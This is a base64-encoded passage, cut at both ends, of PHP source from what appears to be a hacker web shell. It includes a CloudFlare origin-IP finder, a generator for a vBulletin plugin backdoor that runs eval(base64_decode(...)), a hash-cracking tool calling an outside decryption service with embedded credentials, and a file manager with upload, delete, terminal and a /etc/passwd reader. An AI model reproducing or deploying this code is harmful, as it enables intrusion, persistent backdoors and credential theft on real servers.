mhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZJTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRGxDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUlhNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0RTJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFBQk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2xyRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1NydC9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3PT0nOw0KQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7DQpAY2htb2QoImFsZmFfc3NpLnNodG1sIiwwNzU1KTsNCmVjaG8gQWxmYWlGcmFtZUNyZWF0b3IoJ2FsZmFfc2h0bWwvYWxmYV9zc2kuc2h0bWwnKTsNCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBDbG91ZCBGbGFyZSBCeVBhc3NlciB8PC9kaXY+PGJyPjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPg0KPHA+PGRpdiBjbGFzcz0ndHh0Zm9udCc+VGFyZ2V0OjwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgc2l6ZT0zMCBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHBsYWNlaG9sZGVyPVwidGFyZ2V0LmNvbVwiPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnbycgdmFsdWU9JyAnIC8+PC9wPjwvZm9ybT48L2NlbnRlcj4iOw0KaWYoJF9QT1NUWydhbGZhMiddICYmICRfUE9TVFsnYWxmYTInXSA9PSAnPj4nKXsNCiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107DQppZighcHJlZ19tYXRjaCgnL14oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwpKXsNCiR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7DQokdXJsID0gImh0dHA6Ly93d3cuIi4kdXJsOw0KfQ0KJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoJHVybCwgMSk7DQokc2VydmVyID0gJGhlYWRlcnNbJ1NlcnZlciddOw0KJHN1YnMgPSBhcnJheSgnb3dhLicsJzJ0dHkuJywnbS4nLCdndy4nLCdteDEuJywnc3RvcmUuJywnMScsJzInLCd2Yi4nLCduZXdzLicsJ2Rvd25sb2FkLicsJ3ZpZGVvJywnY3BhbmVsLicsICdmdHAuJywgJ3NlcnZlcjEuJywgJ2Nkbi4nLCAnY2RuMi4nLCAnbnMuJywgJ25zMy4nLCAnbWFpbC4nLCAnd2VibWFpbC4nLCAnZGlyZWN0LicsICdkaXJlY3QtY29ubmVjdC4nLCAncmVjb3JkLicsICdzc2wuJywgJ2Rucy4nLCAnaGVscC4nLCAnYmxvZy4nLCAnaXJjLicsICdmb3J1bS4nLCAnZGwuJywgJ215LicsICdjcC4nLCAncG9ydGFsLicsICdrYi4nLCAnc3VwcG9ydC4nLCdzZWFyY2guJywgJ2RvY3MuJywgJ2ZpbGVzLicsICdhY2NvdW50cy4nLCAnc2VjdXJlLicsICdyZWdpc3Rlci4nLCAnYXBwcy4nLCAnYmV0YS4nLCAnZGVtby4nLCAnc210cC4nLCAnbnMyLicsICduczEuJywgJ3NlcnZlci4nLCAnc2hvcC4nLCAnaG9zdC4nLCAnd2ViLicsICdjbG91ZC4nLCAnYXBpLicsICdleGNoYW5nZS4nLCAnYXBwLicsICd2cHMuJywgJ293YS4nLCAnc2F0LicsICdiYnMuJywgJ21vdmllLicsICdtdXNpYy4nLCAnYXJ0LicsICdmdXNpb24uJywgJ21hcHMuJywgJ2ZvcnVtcy4nLCAnYWNjLicsICdjYy4nLCAnZGV2LicsICd3dzQyLicsICd3aWtpLicsICdjbGllbnRzLicsICdjbGllbnQuJywnYm9va3MuJywnYW5zd2Vycy4nLCdzZXJ2aWNlLicsJ2dyb3Vwcy4nLCdpbWFnZXMuJywndXBsb2FkLicsJ3VwLicsJ3R1YmUuJywndXNlcnMuJywnYWRtaW4uJywnYWRtaW5pc3RyYXRvci4nLCdwcml2YXRlLicsJ2Rlc2lnbi4nLCd3aG1jcy4nLCd3cC4nLCd3b3JkcHJlc3MuJywnam9vbWxhLicsJ3ZidWxsZXRpbi4nLCd0ZXN0LicsJ2RldmVsb3Blci4nLCdwYW5lbC4nLCdjb250YWN0LicpOw0KaWYocHJlZ19tYXRjaCgnL14oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwsICRtYXRjaGVzKSl7DQppZigkbWF0Y2hlc1syXSAhPSAnd3d3Jyl7JHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTt9ZWxzZXsNCiR1cmwgPSBleHBsb2RlKCRtYXRjaGVzWzBdLCAkdXJsKTsNCiR1cmwgPSAkdXJsWzFdO319DQppZihpc19hcnJheSgkc2VydmVyKSkkc2VydmVyID0gJHNlcnZlclswXTsNCmVjaG8gX19wcmUoKTsNCmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkNCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7DQplbHNlDQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOw0KZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7DQplY2hvICJbK10gU2VhcmNoaW5nIGZvciBtb3JlIElQIGFkZHJlc3Nlcy5cblxuPGJyPjxicj4iOw0KZm9yKCR4PTA7JHg8Y291bnQoJHN1YnMpOyR4Kyspew0KJHNpdGUgPSAkc3Vic1skeF0gLiAkdXJsOw0KJGlwID0gaXNfaXB2NChnZXRob3N0YnluYW1lKCRzaXRlKSk7DQppZigkaXAgPT0gJyhOdWxsKScpDQpjb250aW51ZTsNCmVjaG8gIlRyeWluZyB7JHNpdGV9OiB7JGlwfVxuPGJyPiI7DQp9DQplY2hvICJcblsrXSBGaW5pc2hlZC5cbjxicj4iOw0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGlzX2lwdjQoJGlwKXsNCnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOw0KfQ0KZnVuY3Rpb24gX19hbGVydCgkcyl7DQplY2hvICc8Y2VudGVyPicuX19wcmUoKS4kcy4nPC9jZW50ZXI+JzsNCn0NCmZ1bmN0aW9uIGNyZWF0ZV90YWJsZSgkZGF0YSl7DQplY2hvICc8dGFibGUgYm9yZGVyPSIxIj4nOw0KZm9yZWFjaCAoJGRhdGEgYXMgJGtleSA9PiAkdmFsKXsNCiRhcnJheSA9IGFycmF5KCk7DQpmb3JlYWNoKCR2YWwgYXMgJGsgPT4gJHYpew0KJGFycmF5WyRrXSA9ICR2Ow0KfQ0KZWNobyAiPHRyPjx0ZD48ZGl2IGNsYXNzPSd0Ymx0eHQnPiIuJGFycmF5Wyd0ZE5hbWUnXS4iPC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSciLiRhcnJheVsnaWQnXS4iJyBuYW1lPSciLiRhcnJheVsnaW5wdXROYW1lJ10uIicgIi4oJGFycmF5WydwbGFjZWhvbGRlciddPydwbGFjZWhvbGRlcic6J3ZhbHVlJykuIj0nIi4kYXJyYXlbJ2lucHV0VmFsdWUnXS4iJyBzaXplPSciLiRhcnJheVsnaW5wdXRTaXplJ10uIicgIi4oJGFycmF5WydkaXNhYmxlZCddPydkaXNhYmxlZCc6JycpLiI+PC90ZD48L3RyPiI7DQp9DQplY2hvICc8L3RhYmxlPic7DQp9DQpmdW5jdGlvbiBhbGZhcGhwMnhtbCgpew0KYWxmYWhlYWQoKTsNCkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNoZWxsIEZvciB2QnVsbGV0aW4gfDwvZGl2PjwvcD48Zm9ybSBvbnN1Ym1pdD1cImcoJ3BocDJ4bWwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPSdwb3N0Jz4NCjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9JzcwJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmEyJ10mJiRfUE9TVFsnYWxmYTInXT09Jz4+Jyl7DQplY2hvIF9fcHJlKCkuIjxwPjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBuYW1lPSd1c2VycycgY29scz0nODAnPiI7DQplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJJU08tODg1OS0xIj8+PHBsdWdpbnM+PHBsdWdpbiBhY3RpdmU9IjEiIHByb2R1Y3Q9InZidWxsZXRpbiI+PHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+PGhvb2tuYW1lPmluaXRfc3RhcnR1cDwvaG9va25hbWU+PHBocGNvZGU+PCFbQ0RBVEFbaWYgKHN0cnBvcygkX1NFUlZFUltcJ1BIUF9TRUxGXCddLCJzdWJzY3JpcHRpb25zLnBocCIpKXtldmFsKGJhc2U2NF9kZWNvZGUoXCcnLl9fWlc1amIyUmxjZygkX1BPU1RbJ2FsZmExJ10pLidcJykpO2V4aXQ7fV1dPjwvcGhwY29kZT48L3BsdWdpbj48L3BsdWdpbnM+JzsNCmVjaG8gJzwvdGV4dGFyZWE+PC9jZW50ZXI+PC9wPic7DQp9DQplY2hvICc8L2NlbnRlcj48L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWNwY3JhY2soKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsnYWxmYTEnXT09J2RlYycpew0KJGFsZ29yaXRobXMgPSBhcnJheSgnbWQ1Jz0+J01ENScsJ21kNCc9PidNRDQnLCdzaGExJz0+J1NIQTEnLCdzaGEyNTYnPT4nU0hBMjU2Jywnc2hhMzg0Jz0+J1NIQTM4NCcsJ3NoYTUxMic9PidTSEE1MTInLCdudGxtJz0+J05UTE0nKTsNCmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPg0KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsNCmZvcmVhY2goJGFsZ29yaXRobXMgYXMgJGtleT0+JHZhbCl7ZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+Jyk7fQ0KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhhc2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOw0KaWYoJF9QT1NUWydhbGZhMyddID09ICc+Picpew0KJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107DQppZighZW1wdHkoJGhhc2gpKXsNCiRoYXNoX3R5cGUgPSAkX1BPU1RbJ2FsZmE0J107DQokZW1haWwgPSAic29sZXZpc2libGVAZ21haWwuY29tIjsNCiRjb2RlID0gIjdiOWZhNzlmOTJjM2NkOTYiOw0KJHRhcmdldCA9ICJodHRwczovL21kNWRlY3J5cHQubmV0L0FwaS9hcGkucGhwP2hhc2g9Ii4kaGFzaC4iJmhhc2hfdHlwZT0iLiRoYXNoX3R5cGUuIiZlbWFpbD0iLiRlbWFpbC4iJmNvZGU9Ii4kY29kZTsNCiRyZXNwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpOw0KaWYoJHJlc3A9PScnKXsNCiRnZXQgPSBuZXcgQWxmYUNVUkwoKTsNCiRyZXNwID0gJGdldC0+U2VuZCgkdGFyZ2V0KTsNCn0NCmVjaG8gX19wcmUoKS4nPGNlbnRlcj4nOw0Kc3dpdGNoKCRyZXNwKXsNCgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwMScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPllvdSBleGNlZWRlZCB0aGUgNDAwIGFsbG93ZWQgcmVxdWVzdCBwZXIgZGF5PC9mb250PjwvYj4iO2JyZWFrOw0KCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAzJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91ciByZXF1ZXN0IGluY2x1ZGVzIG1vcmUgdGhhbiA0MDAgaGFzaGVzLjwvZm9udD48L2I+IjticmVhazsNCgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNCcpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSB0eXBlIG9mIGhhc2ggeW91IHByb3ZpZGUgaW4gdGhlIGFyZ3VtZW50IGhhc2hfdHlwZSBkb2Vzbid0IHNlZW0gdG8gYmUgdmFsaWQ8L2ZvbnQ+PC9iPiI7YnJlYWs7DQoJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDUnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5UaGUgaGFzaCB5b3UgcHJvdmlkZSBkb2Vzbid0IHNlZW0gdG8gbWF0Y2ggd2l0aCB0aGUgdHlwZSBvZiBoYXNoIHlvdSBzZXQuPC9mb250PjwvYj4iO2JyZWFrOw0KfQ0KaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyYmJHJlc3AhPScnKXsNCmVjaG8gIjxiPlJlc3VsdDogPGZvbnQgY29sb3I9J2dyZWVuJz4iLiRyZXNwLiI8L2ZvbnQ+PC9iPiI7DQp9ZWxzZWlmKHN1YnN0cigkcmVzcCwwLDQpIT0nQ09ERScpew0KZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Tm9UIEZvdW5kPC9mb250PjxiciAvPiI7DQp9DQplY2hvKCc8L2NlbnRlcj4nKTsNCn0NCn0NCn0NCmlmKCRfUE9TVFsnYWxmYTEnXT09J2FuYWx5emVyJyl7DQplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggQW5hbHl6ZXIgfDwvZGl2PjwvcD4NCjxmb3JtIG9uc3VibWl0PSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnLHRoaXMuaGFzaC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+SGFzaDogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iSGFzaCIgbmFtZT0iaGFzaCIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOw0KaWYoJF9QT1NUWydhbGZhMyddID09ICc+Picpew0KJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107DQppZighZW1wdHkoJGhhc2gpKXsNCiRjdXJsID0gbmV3IEFsZmFDVVJMKCk7DQokcmVzcCA9ICRjdXJsLT5TZW5kKCJodHRwczovL21kNWRlY3J5cHQubmV0L2VuL0hhc2hGaW5kZXIvIiwicG9zdCIsImhhc2g9eyRoYXNofSZjcnlwdD1TZWFyY2giKTsNCmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsNCmlmKHByZWdfbWF0Y2goJyM8ZmllbGRzZXQgY2xhc3M9InRyb3V2ZSI+KC4qPyk8L2ZpZWxkc2V0PiMnLCRyZXNwLCRzKSl7DQoJZWNobygnPGZvbnQgY29sb3I9ImdyZWVuIj4nLiRzWzFdLic8L2ZvbnQ+Jyk7DQp9ZWxzZXsNCgllY2hvKCc8Zm9udCBjb2xvcj0icmVkIj5Ob3QgRm91bmQuLi4hPC9mb250PicpOw0KfQ0KZWNobygnPC9jZW50ZXI+PGJyPicpOw0KfQ0KfQ0KfQ0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFmb290ZXIoKXsNCmlmKCFpc3NldCgkX1BPU1RbJ2FqYXgnXSkpew0KZWNobyAiPHRhYmxlIGNsYXNzPSdmb290JyB3aWR0aD0nMTAwJScgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMycgY2VsbHBhZGRpbmc9JzAnID4NCjx0cj4NCjx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdta2ZpbGUnLCcnLCcnLCcnLCdmaWxlJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRmlsZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2YnIHZhbHVlPScnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+DQo8dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7dGhpcy5kLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+DQo8dGQgd2lkdGg9JzIyJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJyx0aGlzLmRlbC52YWx1ZSk7dGhpcy5kZWwudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+RGVsZXRlIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZGVsJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4NCjx0ZCB3aWR0aD0nMTklJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdjaG1vZCcsJycsJycsJycsJ25vbmUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2htb2QgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPXRleHQgbmFtZT1mIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+Q2hhbmdlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIGlkPSdmb290ZXJfY3dkJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuIic+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4NCjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ3ZpZXcnLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gc3R5bGU9J21hcmdpbi10b3A6IDEwcHg7JyBvbnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiBhdXRvY29tcGxldGU9J29mZic+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5FeGVjdXRlIDo8L3NwYW4+PGJyPjxidXR0b24gb25DbGljaz0nYWxmYU9wZW5QaHBUZXJtaW5hbCgpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdmb290dGFibGUgYWxmYV9jdXN0b21fY21kX2J0bic+PGltZyBzdHlsZT0nd2lkdGg6MjhweDt2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOycgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGVybWluYWwuc3ZnJz4gVGVybWluYWw8L2J1dHRvbj48YnI+PC9mb3JtPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49JzQnPjxmb3JtIG9uc3VibWl0PSd1KHRoaXMpO3JldHVybiBmYWxzZTsnIG5hbWU9J2Zvb3Rlcl9mb3JtJyBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J0ZpbGVzTUFuJz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FqYXgnIHZhbHVlPSd0cnVlJz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FsZmExJyB2YWx1ZT0ndXBsb2FkRmlsZSc+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjaGFyc2V0JyB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQo8c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPlVwbG9hZCBmaWxlOiA8L3NwYW4+PHNwYW4+PGJ1dHRvbiBpZD0nYWRkdXAnIG9uY2xpY2s9J2FkZG5ld3VwKCk7cmV0dXJuIGZhbHNlOyc+PGI+KzwvYj48L2J1dHRvbj48L3NwYW4+PHAgaWQ9J3Bmb290ZXJ1cCc+PGxhYmVsIGNsYXNzPSdpbnB1dGZpbGUnIGZvcj0nZm9vdGVydXAnPjxzcGFuIGlkPSdfX2ZuYW1ldXAnPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9J2Zvb3RlcnVwJyBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9J2ZpbGUnIG5hbWU9J2ZbXScgb25DaGFuZ2U9J2hhbmRsZXVwKHRoaXMsMCk7JyBtdWx0aXBsZT48L3A+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjxkaXYgaWQ9J2FsZmEtY29weXJpZ2h0Jz48c3BhbiBjbGFzcz0nY29weXJpZ2h0Jz5bIC4vVUNFTiBIQVhPUiDimaEgVElBUkEgQ05USUsgICZjb3B5OyAyMDIyLSIuZGF0ZSgnWScpLiIgXTwvc3Bhbj48YnI+PHNwYW4+PGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxlcnQoXCJCVEM6IDFLTHR5OGxVcW5xc2tNM1FrdnkyS3B2NGFMdDdVZ2N5b1wiKTsnIHN0eWxlPSdjb2xvcjogI0U5MUU2Mzt0ZXh0LWRlY29yYXRpb246IG5vbmU7Jz5Eb25hdGUgVXMgITwv